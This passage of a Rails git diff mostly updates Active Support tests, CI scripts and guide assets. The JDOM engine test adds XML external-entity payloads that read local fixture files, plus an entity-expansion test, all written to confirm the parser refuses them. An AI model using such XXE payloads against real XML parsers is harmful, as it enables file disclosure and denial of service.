- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
- end
end
diff --git a/activesupport/test/time_zone_test_helpers.rb b/activesupport/test/time_zone_test_helpers.rb
new file mode 100644
index 0000000000..9632b89d09
--- /dev/null
+++ b/activesupport/test/time_zone_test_helpers.rb
@@ -0,0 +1,16 @@
+module TimeZoneTestHelpers
+ def with_tz_default(tz = nil)
+ old_tz = Time.zone
+ Time.zone = tz
+ yield
+ ensure
+ Time.zone = old_tz
+ end
+
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
diff --git a/activesupport/test/transliterate_test.rb b/activesupport/test/transliterate_test.rb
index b5d8142458..6833ae68a7 100644
--- a/activesupport/test/transliterate_test.rb
+++ b/activesupport/test/transliterate_test.rb
@@ -3,7 +3,6 @@ require 'abstract_unit'
require 'active_support/inflector/transliterate'
class TransliterateTest < ActiveSupport::TestCase
-
def test_transliterate_should_not_change_ascii_chars
(0..127).each do |byte|
char = [byte].pack("U")
@@ -12,24 +11,25 @@ class TransliterateTest < ActiveSupport::TestCase
end
def test_transliterate_should_approximate_ascii
- # create string with range of Unicode"s western characters with
+ # create string with range of Unicode's western characters with
# diacritics, excluding the division and multiplication signs which for
# some reason or other are floating in the middle of all the letters.
string = (0xC0..0x17E).to_a.reject {|c| [0xD7, 0xF7].include?(c)}.pack("U*")
string.each_char do |char|
- assert_match %r{^[a-zA-Z']*$}, ActiveSupport::Inflector.transliterate(string)
+ assert_match %r{^[a-zA-Z']*$}, ActiveSupport::Inflector.transliterate(char)
end
end
def test_transliterate_should_work_with_custom_i18n_rules_and_uncomposed_utf8
char = [117, 776].pack("U*") # "ü" as ASCII "u" plus COMBINING DIAERESIS
I18n.backend.store_translations(:de, :i18n => {:transliterate => {:rule => {"ü" => "ue"}}})
- I18n.locale = :de
+ default_locale, I18n.locale = I18n.locale, :de
assert_equal "ue", ActiveSupport::Inflector.transliterate(char)
+ ensure
+ I18n.locale = default_locale
end
def test_transliterate_should_allow_a_custom_replacement_char
assert_equal "a*b", ActiveSupport::Inflector.transliterate("aç´¢b", "*")
end
-
end
diff --git a/activesupport/test/ts_isolated.rb b/activesupport/test/ts_isolated.rb
deleted file mode 100644
index 2c217157d3..0000000000
--- a/activesupport/test/ts_isolated.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require 'minitest/autorun'
-require 'active_support/test_case'
-require 'rbconfig'
-require 'active_support/core_ext/kernel/reporting'
-
-class TestIsolated < ActiveSupport::TestCase
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
-
- Dir["#{File.dirname(__FILE__)}/**/*_test.rb"].each do |file|
- define_method("test #{file}") do
- command = "#{ruby} -Ilib:test #{file}"
- result = silence_stderr { `#{command}` }
- assert $?.to_i.zero?, "#{command}\n#{result}"
- end
- end
-end
diff --git a/activesupport/test/xml_mini/jdom_engine_test.rb b/activesupport/test/xml_mini/jdom_engine_test.rb
index f77d78d42c..ed4de8aba2 100644
--- a/activesupport/test/xml_mini/jdom_engine_test.rb
+++ b/activesupport/test/xml_mini/jdom_engine_test.rb
@@ -3,9 +3,12 @@ if RUBY_PLATFORM =~ /java/
require 'active_support/xml_mini'
require 'active_support/core_ext/hash/conversions'
+
class JDOMEngineTest < ActiveSupport::TestCase
include ActiveSupport
+ FILES_DIR = File.dirname(__FILE__) + '/../fixtures/xml'
+
def setup
@default_backend = XmlMini.backend
XmlMini.backend = 'JDOM'
@@ -30,10 +33,41 @@ if RUBY_PLATFORM =~ /java/
assert_equal 'image/png', file.content_type
end
+ def test_not_allowed_to_expand_entities_to_files
+ attack_xml = <<-EOT
+ <!DOCTYPE member [
+ <!ENTITY a SYSTEM "file://#{FILES_DIR}/jdom_include.txt">
+ ]>
+ <member>x&a;</member>
+ EOT
+ assert_equal 'x', Hash.from_xml(attack_xml)["member"]
+ end
+
+ def test_not_allowed_to_expand_parameter_entities_to_files
+ attack_xml = <<-EOT
+ <!DOCTYPE member [
+ <!ENTITY % b SYSTEM "file://#{FILES_DIR}/jdom_entities.txt">
+ %b;
+ ]>
+ <member>x&a;</member>
+ EOT
+ assert_raise Java::OrgXmlSax::SAXParseException do
+ assert_equal 'x', Hash.from_xml(attack_xml)["member"]
+ end
+ end
+
+
+ def test_not_allowed_to_load_external_doctypes
+ attack_xml = <<-EOT
+ <!DOCTYPE member SYSTEM "file://#{FILES_DIR}/jdom_doctype.dtd">
+ <member>x&a;</member>
+ EOT
+ assert_equal 'x', Hash.from_xml(attack_xml)["member"]
+ end
+
def test_exception_thrown_on_expansion_attack
- assert_raise NativeException do
+ assert_raise Java::OrgXmlSax::SAXParseException do
attack_xml = <<-EOT
- <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE member [
<!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
@@ -142,10 +176,11 @@ if RUBY_PLATFORM =~ /java/
end
private
- def assert_equal_rexml(xml)
- hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
- assert_equal(hash, XmlMini.parse(xml))
- end
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
+ assert_equal(hash, parsed_xml)
+ end
end
else
diff --git a/activesupport/test/xml_mini/libxml_engine_test.rb b/activesupport/test/xml_mini/libxml_engine_test.rb
index 5debb2fd59..a8df2e1f7b 100644
--- a/activesupport/test/xml_mini/libxml_engine_test.rb
+++ b/activesupport/test/xml_mini/libxml_engine_test.rb
@@ -1,12 +1,11 @@
-require 'abstract_unit'
-require 'active_support/xml_mini'
-require 'active_support/core_ext/hash/conversions'
-
begin
require 'libxml'
rescue LoadError
# Skip libxml tests
else
+require 'abstract_unit'
+require 'active_support/xml_mini'
+require 'active_support/core_ext/hash/conversions'
class LibxmlEngineTest < ActiveSupport::TestCase
include ActiveSupport
@@ -142,7 +141,7 @@ class LibxmlEngineTest < ActiveSupport::TestCase
morning
</root>
eoxml
- XmlMini.parse(io)
+ assert_equal_rexml(io)
end
def test_children_with_simple_cdata
@@ -194,10 +193,12 @@ class LibxmlEngineTest < ActiveSupport::TestCase
private
- def assert_equal_rexml(xml)
- hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
- assert_equal(hash, XmlMini.parse(xml))
- end
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ xml.rewind if xml.respond_to?(:rewind)
+ hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
+ assert_equal(hash, parsed_xml)
+ end
end
end
diff --git a/activesupport/test/xml_mini/libxmlsax_engine_test.rb b/activesupport/test/xml_mini/libxmlsax_engine_test.rb
index 94250d48ec..d6d90639e2 100644
--- a/activesupport/test/xml_mini/libxmlsax_engine_test.rb
+++ b/activesupport/test/xml_mini/libxmlsax_engine_test.rb
@@ -1,12 +1,11 @@
-require 'abstract_unit'
-require 'active_support/xml_mini'
-require 'active_support/core_ext/hash/conversions'
-
begin
require 'libxml'
rescue LoadError
# Skip libxml tests
else
+require 'abstract_unit'
+require 'active_support/xml_mini'
+require 'active_support/core_ext/hash/conversions'
class LibXMLSAXEngineTest < ActiveSupport::TestCase
include ActiveSupport
@@ -142,7 +141,7 @@ class LibXMLSAXEngineTest < ActiveSupport::TestCase
morning
</root>
eoxml
- XmlMini.parse(io)
+ assert_equal_rexml(io)
end
def test_children_with_simple_cdata
@@ -185,10 +184,12 @@ class LibXMLSAXEngineTest < ActiveSupport::TestCase
end
private
- def assert_equal_rexml(xml)
- hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
- assert_equal(hash, XmlMini.parse(xml))
- end
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ xml.rewind if xml.respond_to?(:rewind)
+ hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
+ assert_equal(hash, parsed_xml)
+ end
end
end
diff --git a/activesupport/test/xml_mini/nokogiri_engine_test.rb b/activesupport/test/xml_mini/nokogiri_engine_test.rb
index 3f37c7cbb6..2e962576b5 100644
--- a/activesupport/test/xml_mini/nokogiri_engine_test.rb
+++ b/activesupport/test/xml_mini/nokogiri_engine_test.rb
@@ -1,12 +1,11 @@
-require 'abstract_unit'
-require 'active_support/xml_mini'
-require 'active_support/core_ext/hash/conversions'
-
begin
require 'nokogiri'
rescue LoadError
# Skip nokogiri tests
else
+require 'abstract_unit'
+require 'active_support/xml_mini'
+require 'active_support/core_ext/hash/conversions'
class NokogiriEngineTest < ActiveSupport::TestCase
include ActiveSupport
@@ -156,7 +155,7 @@ class NokogiriEngineTest < ActiveSupport::TestCase
morning
</root>
eoxml
- XmlMini.parse(io)
+ assert_equal_rexml(io)
end
def test_children_with_simple_cdata
@@ -207,10 +206,12 @@ class NokogiriEngineTest < ActiveSupport::TestCase
end
private
- def assert_equal_rexml(xml)
- hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
- assert_equal(hash, XmlMini.parse(xml))
- end
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ xml.rewind if xml.respond_to?(:rewind)
+ hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
+ assert_equal(hash, parsed_xml)
+ end
end
end
diff --git a/activesupport/test/xml_mini/nokogirisax_engine_test.rb b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
index d6ae7f12ae..4f078f31e0 100644
--- a/activesupport/test/xml_mini/nokogirisax_engine_test.rb
+++ b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
@@ -1,12 +1,11 @@
-require 'abstract_unit'
-require 'active_support/xml_mini'
-require 'active_support/core_ext/hash/conversions'
-
begin
require 'nokogiri'
rescue LoadError
# Skip nokogiri tests
else
+require 'abstract_unit'
+require 'active_support/xml_mini'
+require 'active_support/core_ext/hash/conversions'
class NokogiriSAXEngineTest < ActiveSupport::TestCase
include ActiveSupport
@@ -57,9 +56,9 @@ class NokogiriSAXEngineTest < ActiveSupport::TestCase
end
end
- def test_setting_nokogiri_as_backend
- XmlMini.backend = 'Nokogiri'
- assert_equal XmlMini_Nokogiri, XmlMini.backend
+ def test_setting_nokogirisax_as_backend
+ XmlMini.backend = 'NokogiriSAX'
+ assert_equal XmlMini_NokogiriSAX, XmlMini.backend
end
def test_blank_returns_empty_hash
@@ -157,7 +156,7 @@ class NokogiriSAXEngineTest < ActiveSupport::TestCase
morning
</root>
eoxml
- XmlMini.parse(io)
+ assert_equal_rexml(io)
end
def test_children_with_simple_cdata
@@ -208,10 +207,12 @@ class NokogiriSAXEngineTest < ActiveSupport::TestCase
end
private
- def assert_equal_rexml(xml)
- hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
- assert_equal(hash, XmlMini.parse(xml))
- end
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ xml.rewind if xml.respond_to?(:rewind)
+ hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
+ assert_equal(hash, parsed_xml)
+ end
end
end
diff --git a/activesupport/test/xml_mini/rexml_engine_test.rb b/activesupport/test/xml_mini/rexml_engine_test.rb
index c4770405f2..0c1f11803c 100644
--- a/activesupport/test/xml_mini/rexml_engine_test.rb
+++ b/activesupport/test/xml_mini/rexml_engine_test.rb
@@ -24,6 +24,14 @@ class REXMLEngineTest < ActiveSupport::TestCase
morning
</root>
eoxml
- XmlMini.parse(io)
+ assert_equal_rexml(io)
end
+
+ private
+ def assert_equal_rexml(xml)
+ parsed_xml = XmlMini.parse(xml)
+ xml.rewind if xml.respond_to?(:rewind)
+ hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
+ assert_equal(hash, parsed_xml)
+ end
end
diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb
index a025279e16..f49431cbbf 100644
--- a/activesupport/test/xml_mini_test.rb
+++ b/activesupport/test/xml_mini_test.rb
@@ -1,6 +1,9 @@
require 'abstract_unit'
require 'active_support/xml_mini'
require 'active_support/builder'
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/hash'
+require 'active_support/core_ext/big_decimal'
module XmlMiniTest
class RenameKeyTest < ActiveSupport::TestCase
@@ -88,6 +91,61 @@ module XmlMiniTest
assert_xml "<b>Howdy</b>"
end
+ test "#to_tag should use the type value in the options hash" do
+ @xml.to_tag(:b, "blue", @options.merge(type: 'color'))
+ assert_xml( "<b type=\"color\">blue</b>" )
+ end
+
+ test "#to_tag accepts symbol types" do
+ @xml.to_tag(:b, :name, @options)
+ assert_xml( "<b type=\"symbol\">name</b>" )
+ end
+
+ test "#to_tag accepts boolean types" do
+ @xml.to_tag(:b, true, @options)
+ assert_xml( "<b type=\"boolean\">true</b>")
+ end
+
+ test "#to_tag accepts float types" do
+ @xml.to_tag(:b, 3.14, @options)
+ assert_xml( "<b type=\"float\">3.14</b>")
+ end
+
+ test "#to_tag accepts decimal types" do
+ @xml.to_tag(:b, ::BigDecimal.new("1.2"), @options)
+ assert_xml( "<b type=\"decimal\">1.2</b>")
+ end
+
+ test "#to_tag accepts date types" do
+ @xml.to_tag(:b, Date.new(2001,2,3), @options)
+ assert_xml( "<b type=\"date\">2001-02-03</b>")
+ end
+
+ test "#to_tag accepts datetime types" do
+ @xml.to_tag(:b, DateTime.new(2001,2,3,4,5,6,'+7'), @options)
+ assert_xml( "<b type=\"dateTime\">2001-02-03T04:05:06+07:00</b>")
+ end
+
+ test "#to_tag accepts time types" do
+ @xml.to_tag(:b, Time.new(1993, 02, 24, 12, 0, 0, "+09:00"), @options)
+ assert_xml( "<b type=\"dateTime\">1993-02-24T12:00:00+09:00</b>")
+ end
+
+ test "#to_tag accepts array types" do
+ @xml.to_tag(:b, ["first_name", "last_name"], @options)
+ assert_xml( "<b type=\"array\"><b>first_name</b><b>last_name</b></b>" )
+ end
+
+ test "#to_tag accepts hash types" do
+ @xml.to_tag(:b, { first_name: "Bob", last_name: "Marley" }, @options)
+ assert_xml( "<b><first-name>Bob</first-name><last-name>Marley</last-name></b>" )
+ end
+
+ test "#to_tag should not add type when skip types option is set" do
+ @xml.to_tag(:b, "Bob", @options.merge(skip_types: 1))
+ assert_xml( "<b>Bob</b>" )
+ end
+
test "#to_tag should dasherize the space when passed a string with spaces as a key" do
@xml.to_tag("New York", 33, @options)
assert_xml "<New---York type=\"integer\">33</New---York>"
@@ -97,7 +155,6 @@ module XmlMiniTest
@xml.to_tag(:"New York", 33, @options)
assert_xml "<New---York type=\"integer\">33</New---York>"
end
- # TODO: test the remaining functions hidden in #to_tag.
end
class WithBackendTest < ActiveSupport::TestCase
@@ -106,7 +163,11 @@ module XmlMiniTest
module Nokogiri end
setup do
- @xml = ActiveSupport::XmlMini
+ @xml, @default_backend = ActiveSupport::XmlMini, ActiveSupport::XmlMini.backend
+ end
+
+ teardown do
+ ActiveSupport::XmlMini.backend = @default_backend
end
test "#with_backend should switch backend and then switch back" do
@@ -135,7 +196,11 @@ module XmlMiniTest
module LibXML end
setup do
- @xml = ActiveSupport::XmlMini
+ @xml, @default_backend = ActiveSupport::XmlMini, ActiveSupport::XmlMini.backend
+ end
+
+ teardown do
+ ActiveSupport::XmlMini.backend = @default_backend
end
test "#with_backend should be thread-safe" do
@@ -161,4 +226,128 @@ module XmlMiniTest
end
end
end
+
+ class ParsingTest < ActiveSupport::TestCase
+ def setup
+ @parsing = ActiveSupport::XmlMini::PARSING
+ end
+
+ def test_symbol
+ parser = @parsing['symbol']
+ assert_equal :symbol, parser.call('symbol')
+ assert_equal :symbol, parser.call(:symbol)
+ assert_equal :'123', parser.call(123)
+ assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+ end
+
+ def test_date
+ parser = @parsing['date']
+ assert_equal Date.new(2013,11,12), parser.call("2013-11-12T0211Z")
+ assert_raises(TypeError) { parser.call(1384190018) }
+ assert_raises(ArgumentError) { parser.call("not really a date") }
+ end
+
+ def test_datetime
+ parser = @parsing['datetime']
+ assert_equal Time.new(2013,11,12,02,11,00,0), parser.call("2013-11-12T02:11:00Z")
+ assert_equal DateTime.new(2013,11,12), parser.call("2013-11-12T0211Z")
+ assert_equal DateTime.new(2013,11,12,02,11), parser.call("2013-11-12T02:11Z")
+ assert_equal DateTime.new(2013,11,12,02,11), parser.call("2013-11-12T11:11+9")
+ assert_raises(ArgumentError) { parser.call("1384190018") }
+ end
+
+ def test_integer
+ parser = @parsing['integer']
+ assert_equal 123, parser.call(123)
+ assert_equal 123, parser.call(123.003)
+ assert_equal 123, parser.call("123")
+ assert_equal 0, parser.call("")
+ assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+ end
+
+ def test_float
+ parser = @parsing['float']
+ assert_equal 123, parser.call("123")
+ assert_equal 123.003, parser.call("123.003")
+ assert_equal 123.0, parser.call("123,003")
+ assert_equal 0.0, parser.call("")
+ assert_equal 123, parser.call(123)
+ assert_equal 123.05, parser.call(123.05)
+ assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+ end
+
+ def test_decimal
+ parser = @parsing['decimal']
+ assert_equal 123, parser.call("123")
+ assert_equal 123.003, parser.call("123.003")
+ assert_equal 123.0, parser.call("123,003")
+ assert_equal 0.0, parser.call("")
+ assert_equal 123, parser.call(123)
+ assert_raises(ArgumentError) { parser.call(123.04) }
+ assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+ end
+
+ def test_boolean
+ parser = @parsing['boolean']
+ [1, true, "1"].each do |value|
+ assert parser.call(value)
+ end
+
+ [0, false, "0"].each do |value|
+ assert_not parser.call(value)
+ end
+ end
+
+ def test_string
+ parser = @parsing['string']
+ assert_equal "123", parser.call(123)
+ assert_equal "123", parser.call("123")
+ assert_equal "[]", parser.call("[]")
+ assert_equal "[]", parser.call([])
+ assert_equal "{}", parser.call({})
+ assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+ end
+
+ def test_yaml
+ yaml = <<YAML
+product:
+ - sku : BL394D
+ quantity : 4
+ description : Basketball
+YAML
+ expected = {
+ "product"=> [
+ {"sku"=>"BL394D", "quantity"=>4, "description"=>"Basketball"}
+ ]
+ }
+ parser = @parsing['yaml']
+ assert_equal(expected, parser.call(yaml))
+ assert_equal({1 => 'test'}, parser.call({1 => 'test'}))
+ assert_equal({"1 => 'test'"=>nil}, parser.call("{1 => 'test'}"))
+ end
+
+ def test_base64Binary_and_binary
+ base64 = <<BASE64
+TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24sIGJ1dCBieSB0aGlz
+IHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdGhlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2Yg
+dGhlIG1pbmQsIHRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUgY29udGlu
+dWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Yga25vd2xlZGdlLCBleGNlZWRzIHRo
+ZSBzaG9ydCB2ZWhlbWVuY2Ugb2YgYW55IGNhcm5hbCBwbGVhc3VyZS4=
+BASE64
+ expected_base64 = <<EXPECTED
+Man is distinguished, not only by his reason, but by this singular passion from
+other animals, which is a lust of the mind, that by a perseverance of delight
+in the continued and indefatigable generation of knowledge, exceeds the short
+vehemence of any carnal pleasure.
+EXPECTED
+
+ parser = @parsing['base64Binary']
+ assert_equal expected_base64.gsub(/\n/," ").strip, parser.call(base64)
+ parser.call("NON BASE64 INPUT")
+
+ parser = @parsing['binary']
+ assert_equal expected_base64.gsub(/\n/," ").strip, parser.call(base64, 'encoding' => 'base64')
+ assert_equal "IGNORED INPUT", parser.call("IGNORED INPUT", {})
+ end
+ end
end
diff --git a/ci/travis.rb b/ci/travis.rb
index b03ac4fe35..b62f90a59e 100755
--- a/ci/travis.rb
+++ b/ci/travis.rb
@@ -20,7 +20,9 @@ class Build
'am' => 'actionmailer',
'amo' => 'activemodel',
'as' => 'activesupport',
- 'ar' => 'activerecord'
+ 'ar' => 'activerecord',
+ 'av' => 'actionview',
+ 'aj' => 'activejob'
}
attr_reader :component, :options
@@ -46,14 +48,15 @@ class Build
heading = [gem]
heading << "with #{adapter}" if activerecord?
heading << "in isolation" if isolated?
+ heading << "integration" if integration?
heading.join(' ')
end
def tasks
if activerecord?
- ['mysql:rebuild_databases', "#{adapter}:#{'isolated_' if isolated?}test"]
+ ['db:mysql:rebuild', "#{adapter}:#{'isolated_' if isolated?}test"]
else
- ["test#{':isolated' if isolated?}"]
+ ["test", ('isolated' if isolated?), ('integration' if integration?)].compact.join(":")
end
end
@@ -72,6 +75,10 @@ class Build
options[:isolated]
end
+ def integration?
+ component.split(':').last == 'integration'
+ end
+
def gem
MAP[component.split(':').first]
end
@@ -91,11 +98,18 @@ class Build
end
end
+if ENV['GEM']=='aj:integration'
+ ENV['QC_DATABASE_URL'] = 'postgres://postgres@localhost/active_jobs_qc_int_test'
+ ENV['QUE_DATABASE_URL'] = 'postgres://postgres@localhost/active_jobs_que_int_test'
+end
+
results = {}
ENV['GEM'].split(',').each do |gem|
[false, true].each do |isolated|
+ next if ENV['TRAVIS_PULL_REQUEST'] && ENV['TRAVIS_PULL_REQUEST'] != 'false' && isolated
next if gem == 'railties' && isolated
+ next if gem == 'aj:integration' && isolated
build = Build.new(gem, :isolated => isolated)
results[build.key] = build.run!
@@ -109,7 +123,7 @@ end
# puts " #{`uname -a`}"
# puts " #{`ruby -v`}"
# puts " #{`mysql --version`}"
-# # puts " #{`pg_config --version`}"
+# puts " #{`pg_config --version`}"
# puts " SQLite3: #{`sqlite3 -version`}"
# `gem env`.each_line {|line| print " #{line}"}
# puts " Bundled gems:"
@@ -117,7 +131,7 @@ end
# puts " Local gems:"
# `gem list`.each_line {|line| print " #{line}"}
-failures = results.select { |key, value| value == false }
+failures = results.select { |key, value| !value }
if failures.empty?
puts
@@ -126,6 +140,6 @@ if failures.empty?
else
puts
puts "Rails build FAILED"
- puts "Failed components: #{failures.map { |component| component.first }.join(', ')}"
+ puts "Failed components: #{failures.map(&:first).join(', ')}"
exit(false)
end
diff --git a/guides/code/getting_started/lib/tasks/.gitkeep b/guides/.document
index e69de29bb2..e69de29bb2 100644
--- a/guides/code/getting_started/lib/tasks/.gitkeep
+++ b/guides/.document
diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md
index e9f7ff9d68..afaa404ac1 100644
--- a/guides/CHANGELOG.md
+++ b/guides/CHANGELOG.md
@@ -1,9 +1 @@
-## Rails 4.0.0 (unreleased) ##
-
-* Split Validations and Callbacks guide into two. *Steve Klabnik*
-
-* New guide _Working with JavaScript in Rails_. *Steve Klabnik*
-
-* Guides updated to reflect new test locations. *Mike Moore*
-
-* Guides have a responsive design. *Joe Fiorini*
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/guides/CHANGELOG.md) for previous changes.
diff --git a/guides/Rakefile b/guides/Rakefile
index d6dd950d01..824bea0b39 100644
--- a/guides/Rakefile
+++ b/guides/Rakefile
@@ -13,8 +13,8 @@ namespace :guides do
desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/kindlepublishing"
task :kindle do
- unless `kindlerb -v 2> /dev/null` =~ /kindlerb 0.1.1/
- abort "Please `gem install kindlerb`"
+ unless `kindlerb -v 2> /dev/null` =~ /kindlerb 0.1.1/
+ abort "Please `gem install kindlerb` and make sure you have `kindlegen` in your PATH"
end
unless `convert` =~ /convert/
abort "Please install ImageMagick`"
@@ -34,10 +34,12 @@ namespace :guides do
task :help do
puts <<-help
-Guides are taken from the source directory, and the resulting HTML goes into the
+Guides are taken from the source directory, and the result goes into the
output directory. Assets are stored under files, and copied to output/files as
part of the generation process.
+You can generate HTML, Kindle or both formats using the `guides:generate` task.
+
All this process is handled via rake tasks, here's a full list of them:
#{%x[rake -T]}
diff --git a/guides/assets/images/akshaysurve.jpg b/guides/assets/images/akshaysurve.jpg
new file mode 100644
index 0000000000..cfc3333958
--- /dev/null
+++ b/guides/assets/images/akshaysurve.jpg
Binary files differ
diff --git a/guides/assets/images/challenge.png b/guides/assets/images/challenge.png
deleted file mode 100644
index 30be3d7028..0000000000
--- a/guides/assets/images/challenge.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/edge_badge.png b/guides/assets/images/edge_badge.png
index a35dc9f8ee..a3c1843d1d 100644
--- a/guides/assets/images/edge_badge.png
+++ b/guides/assets/images/edge_badge.png
Binary files differ
diff --git a/guides/assets/images/feature_tile.gif b/guides/assets/images/feature_tile.gif
index 75469361db..5268ef8373 100644
--- a/guides/assets/images/feature_tile.gif
+++ b/guides/assets/images/feature_tile.gif
Binary files differ
diff --git a/guides/assets/images/footer_tile.gif b/guides/assets/images/footer_tile.gif
index bb33fc1ff0..3fe21a8275 100644
--- a/guides/assets/images/footer_tile.gif
+++ b/guides/assets/images/footer_tile.gif
Binary files differ
diff --git a/guides/assets/images/fxn.png b/guides/assets/images/fxn.png
index 9b531ee584..733d380cba 100644
--- a/guides/assets/images/fxn.png
+++ b/guides/assets/images/fxn.png
Binary files differ
diff --git a/guides/assets/images/getting_started/article_with_comments.png b/guides/assets/images/getting_started/article_with_comments.png
new file mode 100644
index 0000000000..117a78a39f
--- /dev/null
+++ b/guides/assets/images/getting_started/article_with_comments.png
Binary files differ
diff --git a/guides/assets/images/getting_started/challenge.png b/guides/assets/images/getting_started/challenge.png
new file mode 100644
index 0000000000..5b88a842b2
--- /dev/null
+++ b/guides/assets/images/getting_started/challenge.png
Binary files differ
diff --git a/guides/assets/images/getting_started/confirm_dialog.png b/guides/assets/images/getting_started/confirm_dialog.png
index 1a13eddd91..9755f581a6 100644
--- a/guides/assets/images/getting_started/confirm_dialog.png
+++ b/guides/assets/images/getting_started/confirm_dialog.png
Binary files differ
diff --git a/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
new file mode 100644
index 0000000000..9f32c68472
--- /dev/null
+++ b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
Binary files differ
diff --git a/guides/assets/images/getting_started/form_with_errors.png b/guides/assets/images/getting_started/form_with_errors.png
index 6910e1647e..98bff37d4a 100644
--- a/guides/assets/images/getting_started/form_with_errors.png
+++ b/guides/assets/images/getting_started/form_with_errors.png
Binary files differ
diff --git a/guides/assets/images/getting_started/index_action_with_edit_link.png b/guides/assets/images/getting_started/index_action_with_edit_link.png
index bf23cba231..0566a3ffde 100644
--- a/guides/assets/images/getting_started/index_action_with_edit_link.png
+++ b/guides/assets/images/getting_started/index_action_with_edit_link.png
Binary files differ
diff --git a/guides/assets/images/getting_started/new_article.png b/guides/assets/images/getting_started/new_article.png
new file mode 100644
index 0000000000..bd3ae4fa67
--- /dev/null
+++ b/guides/assets/images/getting_started/new_article.png
Binary files differ
diff --git a/guides/assets/images/getting_started/new_post.png b/guides/assets/images/getting_started/new_post.png
deleted file mode 100644
index b573cb164c..0000000000
--- a/guides/assets/images/getting_started/new_post.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/post_with_comments.png b/guides/assets/images/getting_started/post_with_comments.png
deleted file mode 100644
index e13095ff8f..0000000000
--- a/guides/assets/images/getting_started/post_with_comments.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/rails_welcome.png b/guides/assets/images/getting_started/rails_welcome.png
new file mode 100644
index 0000000000..3e07c948a0
--- /dev/null
+++ b/guides/assets/images/getting_started/rails_welcome.png
Binary files differ
diff --git a/guides/assets/images/getting_started/routing_error_no_controller.png b/guides/assets/images/getting_started/routing_error_no_controller.png
index 407ea2ea06..ed62862291 100644
--- a/guides/assets/images/getting_started/routing_error_no_controller.png
+++ b/guides/assets/images/getting_started/routing_error_no_controller.png
Binary files differ
diff --git a/guides/assets/images/getting_started/routing_error_no_route_matches.png b/guides/assets/images/getting_started/routing_error_no_route_matches.png
index d461807c5d..08c54f921f 100644
--- a/guides/assets/images/getting_started/routing_error_no_route_matches.png
+++ b/guides/assets/images/getting_started/routing_error_no_route_matches.png
Binary files differ
diff --git a/guides/assets/images/getting_started/show_action_for_articles.png b/guides/assets/images/getting_started/show_action_for_articles.png
new file mode 100644
index 0000000000..4dad704f89
--- /dev/null
+++ b/guides/assets/images/getting_started/show_action_for_articles.png
Binary files differ
diff --git a/guides/assets/images/getting_started/show_action_for_posts.png b/guides/assets/images/getting_started/show_action_for_posts.png
deleted file mode 100644
index 9467df6a07..0000000000
--- a/guides/assets/images/getting_started/show_action_for_posts.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/template_is_missing_articles_new.png b/guides/assets/images/getting_started/template_is_missing_articles_new.png
new file mode 100644
index 0000000000..4e636d09ff
--- /dev/null
+++ b/guides/assets/images/getting_started/template_is_missing_articles_new.png
Binary files differ
diff --git a/guides/assets/images/getting_started/template_is_missing_posts_new.png b/guides/assets/images/getting_started/template_is_missing_posts_new.png
deleted file mode 100644
index 6860aaeca7..0000000000
--- a/guides/assets/images/getting_started/template_is_missing_posts_new.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/undefined_method_post_path.png b/guides/assets/images/getting_started/undefined_method_post_path.png
deleted file mode 100644
index c29cb2f54f..0000000000
--- a/guides/assets/images/getting_started/undefined_method_post_path.png
+++ /dev/null
Binary files differ
